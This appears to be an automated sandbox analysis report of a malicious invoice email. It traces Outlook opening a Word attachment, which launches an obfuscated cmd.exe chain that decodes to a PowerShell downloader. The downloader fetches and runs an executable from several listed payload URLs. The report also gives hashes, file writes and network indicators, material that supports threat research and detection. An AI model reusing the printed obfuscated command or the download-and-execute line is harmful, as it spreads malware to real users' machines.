File name: | Agency Support Invoice Statement - 01 October to 31 October 2018.eml |
Full analysis: | https://app.any.run/tasks/786b1a2f-65b7-4d8b-953d-cdd07421ddd0 |
Verdict: | Malicious activity |
Analysis date: | February 19, 2019, 02:59:11 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF line terminators |
MD5: | 14A63E3A7B7488B1F7E39B348126D969 |
SHA1: | 095203BB22F1891BBC81020AA15D70B3B5358183 |
SHA256: | 7FE52E8A79041EE31F463A0F4F7F4CB8650C9BBEA9AEA08A7BF9EA137C357C10 |
SSDEEP: | 3072:zeS6cjIFeRuh0sM0mthlkMz4fQ9z4HY3ueZIGNIsaaWD2i72UXbR:qSTIIRD0mt0i7d4H5G2aW9JXd |
.eml | | | E-Mail message (Var. 3) (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2876 | "C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\Agency Support Invoice Statement - 01 October to 31 October 2018.eml" | C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
2980 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0477UHOB\DOC5006521644.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3808 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2696 | c:\OWXcIFjBpA\YLWOnlzHVGSD\DsaKFqtTET\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set B8=hfXsnaMYjJGzljOuSi8bq'CpxWkZw(+{t3/Romd65AE-N0 9@1H=,.}7);yrc2Fg\eI4$:Dv&&for %a in (68;15;38;37;51;21;26;15;50;21;57;68;20;32;9;51;4;65;28;43;36;19;13;65;60;32;46;44;65;32;53;25;65;19;22;12;17;65;4;32;57;68;11;70;20;51;21;0;32;32;23;69;34;34;49;39;61;53;61;67;33;53;55;53;49;55;47;34;28;23;43;60;36;4;32;65;4;32;34;32;0;65;37;65;3;34;5;12;71;65;36;23;0;5;3;65;33;34;37;3;1;43;1;17;12;65;3;34;61;44;25;41;9;20;48;0;32;32;23;69;34;34;49;33;53;49;49;67;53;61;40;53;61;33;49;34;44;62;67;48;0;32;32;23;69;34;34;5;59;60;65;12;65;60;32;59;17;60;4;13;53;60;36;37;34;70;48;0;32;32;23;69;34;34;12;5;26;15;4;5;32;53;59;15;34;44;48;0;32;32;23;69;34;34;23;5;15;12;36;1;36;38;59;5;53;60;36;37;53;19;59;34;32;47;44;1;21;53;16;23;12;17;32;29;21;48;21;56;57;68;26;23;15;51;21;44;35;42;21;57;68;20;15;28;46;51;46;21;18;39;40;21;57;68;38;62;38;51;21;19;19;32;21;57;68;32;27;17;51;68;65;4;71;69;32;65;37;23;30;21;64;21;30;68;20;15;28;30;21;53;65;24;65;21;57;1;36;59;65;5;60;0;29;68;7;41;17;46;17;4;46;68;11;70;20;56;31;32;59;58;31;68;20;32;9;53;70;36;28;4;12;36;5;38;62;17;12;65;29;68;7;41;17;52;46;68;32;27;17;56;57;68;15;41;42;51;21;3;6;5;21;57;66;1;46;29;29;10;65;32;43;66;32;65;37;46;68;32;27;17;56;53;12;65;4;63;32;0;46;43;63;65;46;18;45;45;45;45;56;46;31;66;4;71;36;26;65;43;66;32;65;37;46;68;32;27;17;57;68;17;59;44;51;21;27;32;42;21;57;19;59;65;5;26;57;54;54;60;5;32;60;0;31;54;54;68;12;70;13;51;21;27;17;19;21;57;73)do set 9L40=!9L40!!B8:~%a,1!&&if %a==73 powershell.exe "!9L40:~-456!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3324 | CmD /V/C"set B8=hfXsnaMYjJGzljOuSi8bq'CpxWkZw(+{t3/Romd65AE-N0 9@1H=,.}7);yrc2Fg\eI4$:Dv&&for %a in (68;15;38;37;51;21;26;15;50;21;57;68;20;32;9;51;4;65;28;43;36;19;13;65;60;32;46;44;65;32;53;25;65;19;22;12;17;65;4;32;57;68;11;70;20;51;21;0;32;32;23;69;34;34;49;39;61;53;61;67;33;53;55;53;49;55;47;34;28;23;43;60;36;4;32;65;4;32;34;32;0;65;37;65;3;34;5;12;71;65;36;23;0;5;3;65;33;34;37;3;1;43;1;17;12;65;3;34;61;44;25;41;9;20;48;0;32;32;23;69;34;34;49;33;53;49;49;67;53;61;40;53;61;33;49;34;44;62;67;48;0;32;32;23;69;34;34;5;59;60;65;12;65;60;32;59;17;60;4;13;53;60;36;37;34;70;48;0;32;32;23;69;34;34;12;5;26;15;4;5;32;53;59;15;34;44;48;0;32;32;23;69;34;34;23;5;15;12;36;1;36;38;59;5;53;60;36;37;53;19;59;34;32;47;44;1;21;53;16;23;12;17;32;29;21;48;21;56;57;68;26;23;15;51;21;44;35;42;21;57;68;20;15;28;46;51;46;21;18;39;40;21;57;68;38;62;38;51;21;19;19;32;21;57;68;32;27;17;51;68;65;4;71;69;32;65;37;23;30;21;64;21;30;68;20;15;28;30;21;53;65;24;65;21;57;1;36;59;65;5;60;0;29;68;7;41;17;46;17;4;46;68;11;70;20;56;31;32;59;58;31;68;20;32;9;53;70;36;28;4;12;36;5;38;62;17;12;65;29;68;7;41;17;52;46;68;32;27;17;56;57;68;15;41;42;51;21;3;6;5;21;57;66;1;46;29;29;10;65;32;43;66;32;65;37;46;68;32;27;17;56;53;12;65;4;63;32;0;46;43;63;65;46;18;45;45;45;45;56;46;31;66;4;71;36;26;65;43;66;32;65;37;46;68;32;27;17;57;68;17;59;44;51;21;27;32;42;21;57;19;59;65;5;26;57;54;54;60;5;32;60;0;31;54;54;68;12;70;13;51;21;27;17;19;21;57;73)do set 9L40=!9L40!!B8:~%a,1!&&if %a==73 powershell.exe "!9L40:~-456!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
4056 | powershell.exe "$udm='kuH';$qtJ=new-object Net.WebClient;$zDq='http://162.243.7.179/wp-content/themes/alveophase3/msf-files/2NWAJq@http://13.114.25.231/NF4@http://arcelectricnj.com/D@http://lakunat.ru/N@http://paulofodra.com.br/t9Nf'.Split('@');$kpu='NRE';$quw = '865';$dFd='bbt';$tZi=$env:temp+'\'+$quw+'.exe';foreach($YAi in $zDq){try{$qtJ.DownloadFile($YAi, $tZi);$uAE='sMa';If ((Get-Item $tZi).length -ge 80000) {Invoke-Item $tZi;$irN='ZtE';break;}}catch{}}$lDj='Zib';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR6B3E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\tmp6D04.tmp | — | |
MD5:— | SHA256:— | |||
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF29B6F22816D9C997.TMP | — | |
MD5:— | SHA256:— | |||
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0477UHOB\DOC5006521644 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2980 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR91A2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2980 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_A4B47CDE-53FC-4888-B82F-B863523395A8.0\1C2A83DC.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3808 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_A4B47CDE-53FC-4888-B82F-B863523395A8.0\~DF98046B5B770D2D6B.TMP | — | |
MD5:— | SHA256:— | |||
4056 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SGX0DQV8VDN2VOC2TGAX.temp | — | |
MD5:— | SHA256:— | |||
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:C2377735CFFA3D2E49817AEB6DE40B9E | SHA256:41BA3A976F45FAEEDDBC16E139D856590BC78B32C972A08907FDF511F4D258E6 | |||
2876 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0477UHOB\DOC5006521644.doc | document | |
MD5:369311AF62242D733FE3E4214906D111 | SHA256:56DC45F97779FE52F184F6EB4B150CD62F627DBE0E2F6FFE7ED373FA7C23B559 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4056 | powershell.exe | GET | — | 162.243.7.179:80 | http://162.243.7.179/wp-content/themes/alveophase3/msf-files/2NWAJq | US | — | — | suspicious |
2876 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2876 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
4056 | powershell.exe | 162.243.7.179:80 | — | Digital Ocean, Inc. | US | suspicious |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |